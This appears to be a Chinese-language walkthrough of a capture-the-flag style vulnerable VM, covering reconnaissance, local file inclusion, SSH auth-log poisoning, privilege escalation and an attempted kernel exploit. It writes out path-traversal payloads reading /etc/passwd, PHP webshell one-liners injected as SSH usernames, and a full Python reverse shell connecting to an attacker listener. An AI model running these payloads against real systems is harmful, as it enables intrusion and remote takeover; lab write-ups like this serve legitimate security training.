1.靶机部署
下载地址:https://drive.google.com/file/d/1EpagpWtgjqTGc80g9U_E09m3cI0si_8R/view?usp=sharing
打开VMware,在文件中选择打开:
找到靶机的ova文件,打开
输入靶机名称并选择存放地址:
等待导入:
编辑虚拟机设置:
配置自己给,网络模式我这里选择NAT,只要和kali在同一网段下即可:
开启虚拟机:
导入成功!!!
2.信息收集
2.1 探测靶机IP
使用netdiscover扫描一个段内存货的主机,得到主机的IP地址:
netdiscover
2.2 端口扫描
使用nmap对靶机进行详细的扫描:
nmap -A -T4 -p- 192.168.11.146
-A:使用所有高级扫描选项
-T4:设置时许,越高扫描越快
-p-:全端口扫描
2.3 敏感目录扫描
dirb http://192.168.11.146
2.4 信息收集总结
IP:192.168.11.146
开放端口:21、80、2211、8888
敏感目录:http://192.168.11.146/antibot_image/
3.渗透过程
3.1 漏洞发现
登录网站:
并未发现有用信息!!!
访问敏感目录:
发现一堆东西,但不知道干嘛的!!!
经过一番搜寻,在http://192.168.11.146/antibot_image/antibots/info.php页面,查看源代码发现东西。
3.2 文件包含漏洞利用
通过分析,该页面的源码中存在include,文件包含漏洞,我们尝试用该漏洞查看passwd文件,发现可以成功。
?image=../../../../../../../etc/passwd
既然可以查看密码文件,那我们尝试查看一下其他文件。
查看日志文件,日志文件记录了其他用户的一些操作,其中或许留有线索。
?image=../../../../../../../var/log/auth.log
发现该文件还记录了ssh登录的登录日志,无论登录成功与否都有记录,那么我们是否也可以使用这个机制写入一句一句话木马。
3.3 反弹shell-1
将一句话木马作为ssh登录的用户名,然后登陆,密码随便输入,这样日志文件就会记录该用户登录失败的日志,而该用户的用户名就是我们的一句话木马。
ssh '<?php @eval($_POST[pass]);?'@192.168.11.146 -p 2211
写入之后我们使用蚁剑进行连接:
URL地址:http://192.168.11.146/antibot_image/antibots/info.php?image=../../../../../../../var/log/auth.log
密码:pass
连接成功后打开终端:
3.4 反弹shell-2
除上面使用一句话木马的方法之外,我们还可以使用语言进行反弹shell,
写入一句话木马:
ssh '<?php echo system($_GET["jason"]); ?>'@192.168.11.146 -p 2211
命令执行成功,说明一句话木马写入成功:
http://192.168.11.146/antibot_image/antibots/info.php?image=/var/log/auth.log&jason=id
kali开启监听:
浏览器输入反弹shell代码:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
浏览器代码:
http://192.168.11.146/antibot_image/antibots/info.php?image=/var/log/auth.log&jason=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.11.128%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
反弹shell的方法还有很多,这里列举了两种,方法不限,我们的最终目的是拿到shell
3.5 生成可交互式shell
python3 -c "import pty;pty.spawn('/bin/bash')"
3.6 提权
查看系统内核版本:
uname -a
发现系统内核是:Linux ubuntu 4.4.0-21-generic,在kali中查找该系统内核的提权包:
这里不知道的话一个一个试,最后经过尝试得到可以使用45010,将次包下载下来:
因为此文件是一个C语言源码文件,需要编译才能够运行,这种情况最好是在目标服务器上进行编译并运行,但目标靶机没有gcc环境,意味着没办法进行编译,在这里选择在kali上编译完成后,在靶机上运行程序:
编译:
gcc 45010.c -o exp
将编译后的文件传输到目标靶机上:
我这里使用ftp服务的方式,kali开启ftp服务:
靶机下载:
注意:为了避免权限不足问题,我们可以在靶机的tmp文件中进行操作:
给予文件可执行权限:
执行文件:
不出意外的报错了!!!
这是因为最近我kali缺GLIBC_2.34,我的kali是2.36,2.34装了好久装不上,但是到这一步应该是成功了,后续我解决了这个问题会在此修正,如果你跟我一样,可以百度“GLIBC_2.34 not found”试着解决一下,也可以评论区教教我!!!